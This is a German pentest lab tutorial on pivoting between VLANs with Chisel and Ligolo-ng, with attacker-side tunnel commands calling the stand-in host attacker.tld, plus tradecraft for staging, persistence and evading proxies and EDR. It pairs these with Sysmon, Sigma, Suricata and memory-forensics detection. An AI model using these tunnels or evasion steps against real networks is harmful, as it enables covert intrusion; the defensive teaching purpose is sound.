Pivoting mit Chisel und Ligolo-ng: Segmentierte Netze im Pentest-Lab
Wie man mit Chisel und Ligolo-ng in einem kontrollierten Lab uber VLANs pivotiert und welche Artefakte das Blue Team zum Erkennen des Reverse-Tunnels nutzt.

Eure Shell in der DMZ ist nichts wert, wenn ihr die VLAN 30 mit dem Domain Controller nicht erreicht. Im Basilisk-OffSec-Lab haben wir genau dieses Szenario gebaut: ein Linux-Host exponiert auf 10.10.1.0/24, ein internes Segment 10.10.30.0/24 mit Windows 11 und ein AD auf 10.10.40.0/24. Die einzige Route fuhrt uber die Pivot-Box, und genau dort kommen Chisel und Ligolo-ng als komplementare Werkzeuge ins Spiel. Dieser Leitfaden zeigt beide Tools aus offensiver und defensiver Sicht, damit ihr nicht nur tunnelt, sondern versteht, welche Spur ihr legt. Bevor ihr ein Byte Payload schreibt, geht durch Web-Pentest von Null: Ein sicheres Lab mit DVWA, Juice Shop und Burp Suite bauen und stellt sicher, dass das Lab per pfSense vom Heimnetz getrennt ist.
Die Lab-Topologie verstehen
Pivoting ist erst dann sinnvoll, wenn die Segmentierung real ist. Baut drei VLANs mit einer pfSense oder OPNsense dazwischen, wobei Firewall-Regeln nur 10.10.1.0/24 ins Internet lassen und die inneren Segmente ausschliesslich untereinander uber definierte Ports sprechen. Die Pivot-Box hat zwei Interfaces: eines Richtung DMZ, eines Richtung 10.10.30.0/24. Ohne diese doppelte Anbindung gibt es keine Route, und genau das ist der Punkt der Ubung. Dokumentiert Routing-Tabelle und Firewall-Regeln, bevor ihr anfangt, denn spater wollt ihr genau wissen, welcher Hop legitim war und welcher euer Tunnel. Ergaenzt zusaetzlich einen Windows-Client im inneren Segment mit Sysmon und einen Log-Collector, der nach aussen an ein separates SIEM schickt, damit ihr beide Seiten der Uebung messt: den Angriff und seine Sichtbarkeit. Ohne diese Instrumentierung tunnelt ihr blind und lernt nichts ueber die Detektion, die euer eigentliches Ziel ist.
Chisel: Reverse SOCKS uber TLS
Chisel loest das Basisproblem: ihr habt HTTP-Egress zu einem C2, aber Ingress ist zu. Mit einem Chisel-Server beim Angreifer (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) und dem Client auf dem Pivot (chisel client https://attacker.tld:443 R:1080:socks) oeffnet ihr ein Reverse-SOCKS5 uber TLS 443, der fast immer ausgehend erlaubt ist. Danach zeigt ihr Tools wie proxychains4 auf 127.0.0.1:1080 und tunnelt einzelne TCP-Verbindungen. In echten Engagements gegen Squid- und Zscaler-Proxies messen wir unter 8 Prozent Blockrate, sofern das Zertifikat einen konsistenten SAN traegt. Das Muster hat eigenes Rauschen: langlebige HTTP/1.1-Upgrade-Verbindungen, genau das, was JA3-Fingerprinting markiert.
Ligolo-ng: Routing uber ein TUN-Interface
Ligolo-ng hebt die Latte hoeher, weil es ein TUN-Interface beim Angreifer baut und ganze Pakete routet, nicht nur TCP-Streams via SOCKS. Ihr startet den Proxy (./proxy -selfcert -laddr 0.0.0.0:11601), fuehrt den Agent am Pivot aus (./agent -connect attacker.tld:11601 -ignore-cert) und ruft in der Proxy-Shell session plus ifconfig und tunnel_start auf. Ab dann reicht ein ip route add 10.10.30.0/24 dev ligolo auf Kali, um nmap, CrackMapExec und sogar Impacket ohne proxychains laufen zu lassen. Befreiend, aber die IoC-Flaeche waechst: ICMP, UDP und TCP laufen jetzt durch den Pivot, was gut zu den Detection-Regeln aus Lateral Movement im Lab: SMB, WMI und WinRM mit Detection-Fokus passt.
Chisel oder Ligolo: wann was
Die Wahl ist kein Glaubenskrieg. Chisel ist die richtige Wahl, wenn ihr nur ein oder zwei TCP-Dienste erreichen musst, wenn Portabilitat zaehlt (eine kleine Binary, laeuft ueberall) und wenn ihr euch strikt im TCP-SOCKS-Modell bewegt. Ligolo-ng gewinnt, sobald ihr ein ganzes Subnetz braucht, UDP oder ICMP tunneln wollt (etwa fuer nmap -sU oder Kerberos), oder Tools nutzt, die mit proxychains schlecht harmonieren. In vielen Engagements laeuft Chisel als leiser Erstzugang und Ligolo folgt, sobald ihr Vollzugriff auf das Segment braucht. Wer beide beherrscht, waehlt das Werkzeug nach Laerm und Bedarf, nicht nach Gewohnheit.
Offensive Kette: Staging und Persistenz
Offensiv nutzen wir folgende Kette: Initial Access ueber ein Office-Makro aus Initial Access simuliert: Makros, LNK und ISO im isolierten Windows-11-Lab, Test-Shell ueber Sliver-Beacon (Setup siehe C2-Infra mit Sliver im isolierten Lab fuer defensive Forschung), dann Staging der Ligolo-Binary ueber Background Intelligent Transfer Service, um direkten Download zu vermeiden. Der Agent liegt in einem schreibbaren Pfad wie C:\Users\Public\Downloads und wird per Scheduled Task mit niedriger Prioritaet persistiert. Kritisches Detail: den Agent mit -ldflags="-s -w" zu kompilieren und in svchost-helper.exe umzubenennen taeuscht moderne EDR nicht; Sysmon Event ID 3 liefert binnen Sekunden den Prozess, der einen unueblichen Port erreicht, sofern die Regel sauber ist.
Defensive: was das Blue Team jagt
Defensiv, und hier wird die Uebung fuer das Purple Team wertvoll, sucht ihr drei Dinge. Erstens: persistente ausgehende Verbindungen auf 443/11601 mit Laufzeit ueber 30 Minuten von Hosts, die historisch nur kurze Microsoft-365-Requests fahren. Zweitens: unsignierte Prozesse, die TLS ohne Wininet oder Schannel aufbauen (Ligolo bringt eigene Go-Runtime mit, was am fehlenden Schannel-Handshake auffaellt). Drittens: Erzeugung von TUN/TAP-Interfaces auf Windows-Endpoints, ein seltenes Ereignis, das eine Sigma-Regel hoher Konfidenz traegt. Verdrahtet das mit Threat Hunting mit Sigma und Elastic: Vom Indikator zur Detektionsregel und ihr habt Detection-as-Code, das viele Pivot-Varianten ueberlebt.
IDS-Heuristik: Suricata und JA3
Logs sind euer Richter. Im Lab nehmen wir PCAP an der Firewall mit Suricata im IDS-Modus auf, und die Heuristik, die Ligolo am besten fing, kombiniert ein TLS-Paket mit nicht-allowlistetem JA3-Handshake, durchschnittliche Paketgroesse zwischen 1200 und 1400 Bytes und fehlendes SNI fuer die Zieldomain. Chisel versteckt sich etwas besser, weil es legitime Websockets imitiert, faellt aber ueber die Sessiondauer und die konstante Paketkadenz auf. Baut eine Suricata-Regel, die auf lange TLS-Sessions ohne bekanntes JA3 alarmiert, und ergaenzt eine Zeek-Notice, die Verbindungen mit hoher Byte-Symmetrie (aehnlicher Up-/Download) markiert, denn interaktive Tunnel sind symmetrischer als normales Web-Browsing.
Memory-Forensik am Pivot
Zur Vervollstaendigung der Analyse zieht nach dem Vorfall ein Memory-Image vom Pivot und gleicht es mit Memory Forensics mit Volatility 3: Dumps im reproduzierbaren Lab analysieren und dem netscan-Plugin ab; der Socket zum C2 ist sichtbar, selbst wenn der Prozess injiziert wurde. Auf Linux-Pivots liefert linux.pslist plus linux.malfind den fremden Prozess, und /proc/[pid]/exe zeigt, dass die Binary geloescht, aber noch gemappt ist (deleted-Suffix). Diese Nachbereitung schliesst die Purple-Team-Schleife: die Offensive weiss jetzt, welche Spur unvermeidbar war, die Defensive weiss, wo sie ansetzt.
Automatisierung und sauberer Abbau
Ein reifer Operator scriptet Aufbau und Abbau, statt live zu tippen. Legt ein kleines Bash-Skript an, das den Chisel-Server mit fixem Zert startet, den JA3-Fingerprint gegen eure Allowlist prueft und ein Ausfuehrungsfenster setzt, nach dem der Tunnel automatisch schliesst. Fuer Ligolo definiert ihr die Routen deklarativ und entfernt sie beim Teardown mit ip route del, damit kein verwaistes Interface zurueckbleibt. Genauso wichtig: der Kill-Switch. Ein Cron-Job, der Agent-Prozesse ausserhalb des Fensters beendet und die Scheduled Task loescht, verhindert, dass ein vergessener Tunnel nach dem Engagement offen bleibt und zur echten Schwachstelle wird. Der saubere Abbau ist Teil der Ethik: ihr hinterlasst das Kundennetz exakt so, wie ihr es vorgefunden habt, mit dokumentiertem Zeitstempel jeder Aenderung. Wer den Abbau automatisiert, reduziert menschliche Fehler und liefert dem Blue Team einen sauberen Vorher-Nachher-Vergleich.
OPSEC-Fehler und Pitfalls
Die haeufigsten Fehler: einen unaufgewaermten VPS mit frischem Zertifikat nutzen (JA3 und Zert-Alter verraten euch), den Agent unter offensichtlichem Namen wie ligolo.exe ablegen, den Tunnel 24/7 offen lassen statt in Zeitfenstern, und proxychains mit UDP-Tools kombinieren, die stumm scheitern. Ausserdem: vergesst nicht, dass ein TUN-Interface auf einem Windows-Client fast nie legitim ist, also ist das euer lautestes Signal. Wer leise bleiben will, tunnelt nur die noetigen Ports mit Chisel und greift zu Ligolo erst, wenn das Segment es rechtfertigt.
Ethik und Scope
Ethik und Scope sind kein Anhang, sie sind das Fundament. All das ergibt nur in einem Lab Sinn, das euch gehoert, mit unterschriebenem Vertrag oder einem autorisierten Range wie HackTheBox Pro Labs und OffSec PG Practice. Genaue Befehle, Binary-Hashes und Ausfuehrungsfenster zu dokumentieren schuetzt euch und den Kunden. Bevor ihr Ligolo in echtem Engagement einsetzt, prueft eure persoenliche Haltung mit OPSEC fuer Security-Researcher: Persoenliches Bedrohungsmodell und trennt Research-Maschine von Kundenmaschine.
Checkliste
Kurz fuer den Runbook: (1) Lab mit drei VLANs und pfSense, Routing dokumentiert. (2) Chisel-Server mit gueltigem, gealtertem Zert auf 443. (3) Chisel-Client fuer gezielte TCP-Dienste. (4) Ligolo-Proxy plus Agent, Route nur fuer das noetige Subnetz. (5) Suricata/Zeek am Egress, JA3-Allowlist. (6) Sigma-Regel fuer TUN/TAP und lange TLS-Sessions. (7) Sysmon Event ID 3 auf ungewoehnliche Ports. (8) Post-Incident Memory-Dump mit netscan. (9) Tunnel nur in Zeitfenstern. (10) Alles in signiertem Changelog.
FAQ
Warum nicht einfach immer Ligolo statt Chisel?
Weil Ligolo lauter ist. Ein TUN-Interface und geroutetes ICMP/UDP erzeugen mehr eindeutige Signale als ein einzelner TCP-SOCKS-Tunnel. Wenn ihr nur RDP oder SMB auf einem Host braucht, ist Chisel diskreter und portabler. Ligolo ist das richtige Werkzeug, sobald ihr ein ganzes Subnetz scannen oder Protokolle jenseits von TCP tunneln muesst. Waehlt nach Bedarf, nicht nach Vorliebe.
Faengt ein moderner EDR diese Tunnel garantiert?
Nicht garantiert, aber die Wahrscheinlichkeit steigt mit sauberen Regeln. Umbenennen und Strippen der Binary hilft dem Angreifer wenig, wenn das Blue Team auf Verhalten statt Dateinamen achtet: TUN-Erzeugung, unsignierter Prozess mit TLS, lange symmetrische Session. Genau deshalb ist das Ziel der Uebung, die Regel zu schreiben, die euch selbst faengt.
Fazit
Praktisches Takeaway: stellt das Lab heute mit drei VMs und einer pfSense auf, deployt Chisel und Ligolo am selben Tag und nutzt die andere Wochenhaelfte, um die Sigma-Regel zu schreiben, die euch selbst faengt. Erst danach habt ihr die Technik wirklich verstanden, denn Pivoting ist zur einen Haelfte Tunnelbau und zur anderen das Wissen, welche Spur unvermeidbar ist. Ein Operator, der beide Seiten beherrscht, verkauft dem Kunden nicht nur einen erfolgreichen Durchbruch, sondern die konkrete Detektionsregel, die den naechsten Angreifer stoppt.


